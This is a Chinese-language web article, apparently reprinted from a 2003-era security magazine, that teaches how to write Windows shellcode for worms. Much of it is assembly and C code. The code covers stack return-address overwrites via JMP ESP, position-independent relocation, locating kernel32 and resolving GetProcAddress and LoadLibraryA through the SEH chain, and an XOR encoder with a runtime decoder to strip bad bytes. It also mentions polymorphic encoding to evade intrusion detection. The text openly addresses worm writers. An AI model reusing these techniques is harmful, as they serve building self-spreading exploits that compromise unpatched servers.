首页 网络安全 安全学院 查看内容

窥视蠕虫灵魂:ShellCode

2009-6-2 11:11 527 0

摘要:   尽管漏洞在广泛流传之前微软就推出了相应的补丁,但为数众多粗心的管理员还是给hacker和蠕虫编写者以可乘之机。网络上数以万计带着漏洞顽强运行着的服务器成了hacker和Vxer的目标,想知道他们是...
关键词: ShellCode 代码 地址 emit 定位 esi 蠕虫 漏洞 函数 eax

  尽管漏洞在广泛流传之前微软就推出了相应的补丁,但为数众多粗心的管理员还是给hacker和蠕虫编写者以可乘之机。网络上数以万计带着漏洞顽强运行着的服务器成了hacker和Vxer的目标,想知道他们是如何利用这些漏洞的吗?   名词解释:Vxer,这里是指那些编写病毒和蠕虫的兄弟姐妹。   漏洞利用中最关键的环节就是ShellCode的编写。由于漏洞发现之初安全研究者一般都不会公布或不会完整地公布Exploit,因此对于蠕虫编写者,如果想最好地利用hacker的发现,一定要掌握ShellCode的编写技术。   一、什么是ShellCode   如果对ShellCode这个名词还很陌生的话,没关系,我简单解释一下,ShellCode实质上就是一段代码(其中可能会有填充数据),其用来发送到服务器利用特定的漏洞以获取控制权,获取了控制权之后,就可以为所欲为了:比如开个Shell,或打开端口,或安装个SMTP服务甚至是http服务......。之后要干什么不用我教你了吧?!   二、ShellCode编写要考虑的因素   ShellCode一般是作为数据形式发送给服务器制造溢出得以执行代码以获取控制权的。而不同的漏洞利用对于数据包的格式都有特殊的要求,ShellCode必须首先满足被攻击程序对于数据报格式的特殊要求,这些要求随漏洞的不同而有所不同。但ShellCode编写中面临的有些问题则是一致的,这包括:   1.ShellCode的编写语言。   用什么语言编写ShellCode最适合需要。这取决于是想以最快的速度编写可用的ShellCode还是想完全控制ShellCode的代码生成。   2.ShellCode本身代码的重定位。   3.ShellCode地址的定位。即如何通过溢出使控制权落在ShellCode手中。   4.ShellCode中使用的API地址的定位。   5.ShellCode的编码问题。   6.多态技术躲避IDS检测。   在下一部分,我们将针对这几个方面简单介绍ShellCode编写中应考虑的问题和所需要的技术。   三、ShellCode编写技术   1.ShellCode的编写语言   ShellCode本质上是可以用任何语言编写的,如果你喜欢,甚至可以用Basic编写。我们需要的是提取出生成的机器码,然后用在蠕虫中以获得快速传播。ShellCode使用汇编语言编写是最具有可控性的,因为我们可以完全通过指令控制代码生成。但缺点是编写需要耗费较多的时间,而且需要对汇编这种较难的语言有深入的了解,如果你精通汇编语言则推荐使用。C语言编写起来较为省力,速度较快,但ShellCode代码提取起来复杂一点,不过一旦写好一个模板,以后再写ShellCode基本就不需要改动了,想想还是省事。比如我们可以把ShellCode代码放在如下函数中:   void ShellCodes()   {   //ShellCode代码   //函数结束标志字符串   __asm   {   nop   nop   nop   nop   nop   nop   nop   nop   }   }   编者注:本文仅从技术角度来具体分析蠕虫中的各项关键技术,并不提供完整的蠕虫代码。大家在学习时,希望也请从技术交流和学习的角度出发。   然后在main()中用函数指针操作和memcmp定位ShellCode的开始和结束地址,这样在运行时只要用printf之类的函数将生成的ShellCode代码打印出来或保存在文件中就可以利用了:   //shellcode的地址   pSc_addr=(char *)ShellCodes;   //找到shellcode的结尾及长度   for(k=0;k<MAX_Sc_Len;++k)if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;   if (k<MAX_Sc_Len) Sc_len=k;   else   {   k=0;   printf("\nNo End str defined in ShellCodes function!Please Check....\n");   return 0;   }   //把shellcode代码复制进sc_buff   memcpy(sc_buff,pSc_addr,Sc_len);   //打印到屏幕或保存到文件   PrintSc(buff,buff_len);   ShellCode使用C编写比使用汇编语言省力的多,而且快速。考虑到蠕虫编写的时间要求,推荐用C。当然如果其它语言能够将生成的代码提取出来,也是完全可以的。思路类似,这里只是一个例子。   2.ShellCode代码地址的定位   一般地,最简单的情况是通过覆盖堆栈中的函数返回地址跳转到ShellCode代码执行。即程序执行时典型的堆栈结构如下:   局部变量   .....   返回地址 用shellcode地址覆盖这里   通过ShellCode代码的地址覆盖返回地址,在程序溢出返回时即可跳转到我们的代码以获取控制权。如果ShellCode中代码的地址是固定的,则我们可以在ShellCode中固化该地址,这样控制权就可以获得了。但一个问题是ShellCode在堆栈中的位置在不同的系统中可能是不固定的,怎么办?天才的hacker想出了利用系统DLL中的JMP ESP或call esp,call [ebp+nn],call [esp+nn]之类的指令实现间接跳转。这样的好处,一是不需要知道ShellCode中代码本身在系统中的地址,另一个好处是可以对付strcpy之类函数溢出时对于0字节的截断,因为堆栈地址一般都是以00XXXXXX开始的,而系统DLL中指令的地址一般都是7FXXXXXX之类的地址,不包括0字节。至于具体的指令执行细节,请参考汇编指令手册,限于篇幅,这里不再赘述。   3.ShellCode本身代码的重定位   由于ShellCode可能位于目标系统中的无法准确定位的一个位置,因此要想ShellCode代码在你自己测试机以外的系统上运行,就必须对数据以及代码进行重定位。如果是用汇编语言编写的ShellCode,可以象在病毒用到的技术一样:   call getDelta   getDelta:   pop ebp   sub ebp,offset getDelta   ......   进行代码和数据的重定位,这个我们应该都不陌生了。一个问题是C语言编写的ShellCode如何重定位?我们好像并没有特别好的手段。事实上,C是可以内嵌汇编的,因此可以通过类似上面的内嵌汇编代码获得某些地址,然后只要预先将某些数据放在此处即可访问:   _asm {   jmp locate_addr0   getApiStr_addr:   pop ApiStr_addr //获取数据地址   .......   }   //   //实际的ShellCode代码   //   __asm   {   locate_addr0:   call getApiStr_addr //5 bytes   //真正的字符串数据可连接在此处   /////////////////////////   //定义结束标志   /////////////////////////   __asm   {   nop   nop   nop   nop   nop   nop   nop   nop   }   }   编者注:重定位也是病毒编写中的基础技术,在我们杂志的2003年第7期“CVC病毒专栏”有详细分析,大家可以参考!   4.ShellCode中使用的API地址的定位   ShellCode代码的运行环境和病毒在某些方面是一致的,由于系统的不同,API函数的地址也不完全相同。因此要想蠕虫在不同Windows系统下传播,首先必须解决API地址的定位问题。API地址的定位关键是了解Windows DLL映像文件的格式,也就是PE的格式,然后通过搜索函数的Export表获取API的地址。相信你已经很熟悉了。定位系统DLL的常用方法有暴力搜索法、从进程PEB中获取和遍历SEH链表的方法。下面的可内嵌在C中的汇编代码通过遍历SEH链获取Kernel32基址,并搜索DLL映像的Export表获取LoadLibrary和GetProcAddress的地址,其后就可以利用这两个API获取任何其它的API地址了,你可以选择随便干点什么。   //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址   //以后就可以方便地获取任何API的地址了   //保护寄存器   pushad   xor esi,esi   lods dword ptr fs:[esi]   Search_Krnl32_lop:   inc eax   je Krnl32_Base_Ok   dec eax   xchg esi,eax   LODSD   jmp Search_Krnl32_lop   Krnl32_Base_Ok:   LODSD   ;compare if PE_hdr   xchg esi,eax   find_pe_header:   dec esi   xor si,si ;kernel32 is 64kb align   mov eax,[esi]   add ax,-'ZM' ;   jne find_pe_header   mov edi,[esi+3ch] ;.e_lfanew   mov eax,[esi+edi]   add eax,-'EP' ;anti heuristic change this if you are using MASM etc.   jne find_pe_header   push esi   ;esi=VA Kernel32.BASE   ;edi=RVA K32.pehdr   mov ebx,esi   mov edi,[ebx+edi+78h] ;peh.DataDirectory   push edi   push esi   mov eax,[ebx+edi+20h] ;peexc.AddressOfNames   mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals   call __getProcAddr   _emit 0x47   _emit 0x65   _emit 0x74   _emit 0x50   _emit 0x72   _emit 0x6F   _emit 0x63   _emit 0x41   _emit 0x64   _emit 0x64   _emit 0x72   _emit 0x65   _emit 0x73   _emit 0x73   _emit 0x0   //db "GetProcAddress",0   __getProcAddr:   pop edi   mov ecx,15   sub eax,4   next_:   add eax,4   add edi,ecx   sub edi,15   mov esi,[ebx+eax]   add esi,ebx   mov ecx,15   repz cmpsb   jnz next_   pop esi   pop edi   sub eax,[ebx+edi+20h]   shr eax,1   add edx,ebx   movzx eax,word ptr [edx+eax]   add esi,[ebx+edi+1ch]   add ebx,[esi+eax*4]   pop esi ;esi=kernel32 Base   mov [hKrnl32],esi //保存   mov [GetProcAddr],ebx //保存   call _getLoadLib   _emit 0x4C   _emit 0x6F   _emit 0x61   _emit 0x64   _emit 0x4C   _emit 0x69   _emit 0x62   _emit 0x72   _emit 0x61   _emit 0x72   _emit 0x79   _emit 0x41   _emit 0x0   //db "LoadLibraryA",0   _getLoadLib:   push esi   call ebx   mov [LoadLib],eax   //恢复寄存器,避免更多问题   popad   编者注:同样,API函数地址搜索也是病毒编写中的关键技术,我们在2003年第6期CVC病毒专栏也针对其中一种方法作了详细叙述。   5.ShellCode的编码问题   对于利用strcpy之类溢出漏洞的ShellCode,其中不能有0字节,否则就会被截断,不同的漏洞利用可能还有其它不同的要求。当然可以通过精选符合条件的指令来达到目的,但是那样太累了。一个简单的方法是编写一段符合条件的解码代码,其余代码则进行编码以满足特定的条件,这样工作量就大大减轻了。比如,如下的算法可用于编码:   for(i=0;i<Sc_len;++i){   ch=sc_buff[i]^Enc_key;   //对一些可能造成shellcode失效的字符进行替换   if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')   {   buff[k]='0';   ++k;   ch+=0x31;   }   //把编码过的shellcode放在DecryptSc代码后面   buff[k]=ch;   ++k;   }   而以下是运行时的解码汇编代码:   jmp next   getEncCodeAddr:   pop edi   push edi   pop esi   xor ecx,ecx   Decrypt_lop:   lodsb   cmp al,cl   jz shell   cmp al,0x30 //判断是否为特殊字符   jz special_char_clean   store:   xor al,Enc_key   stosb   jmp Decrypt_lop   special_char_clean:   lodsb   sub al,0x31   jmp store   next:   call getEncCodeAddr   这只是一种最简单的编码和解码方法,而对于Unicode的编码代码有特殊的要求,限于篇幅,这里不作讨论。   6.多态技术躲避IDS检测。   现代的IDS对于一些异常的数据报会简单地丢弃,为了避免自己千辛万苦手动编写的ShellCode失效,可以采用多态引擎进行处理,多态引擎可通过对网络数据流的统计分析重新对ShellCode编码。当然这是较高级的主题了,本文亦无篇幅做进一步的介绍了
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部